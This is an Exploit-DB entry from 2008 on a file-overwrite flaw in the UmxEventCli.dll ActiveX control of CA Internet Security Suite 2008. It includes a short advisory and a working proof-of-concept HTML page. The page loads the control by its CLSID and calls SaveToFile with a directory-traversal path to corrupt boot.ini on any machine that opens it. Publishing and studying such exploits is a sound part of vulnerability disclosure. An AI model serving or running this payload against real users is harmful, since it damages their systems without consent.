CA Internet Security Suite - 'UmxEventCli.dll' ActiveX Control Arbitrary File Overwrite Vulnerability

2008-05-28T00:00:00
ID EDB-ID:31856
Type exploitdb
Reporter Nine:Situations:Group
Modified 2008-05-28T00:00:00

Description

CA Internet Security Suite 'UmxEventCli.dll' ActiveX Control Arbitrary File Overwrite Vulnerability. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/29406/info

A Computer Associates Internet Security Suite ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.

Successful exploits will compromise affected computers and will aid in further attacks.

Internet Security Suite 2008 is vulnerable; other versions may also be affected. 

<!--
CA Internet Security Suite 2008 (UmxEventCli.dll/SaveToFile())
remote file corruption poc
by Nine:Situations:Group::surfista

this control is safe for scripting
and safe for initialize

original one: http://retrogod.altervista.org/9sg_CA_poc.html
--> 
<html><object classid='clsid:F13D3742-6C4F-4915-BF91-784BA02DD0BE' 
id='UmxEventCliLib'/>
</object><script language='vbscript'>
filePath="..\..\..\..\..\..\..\boot.ini"
UmxEventCliLib.SaveToFile filePath
</script></html>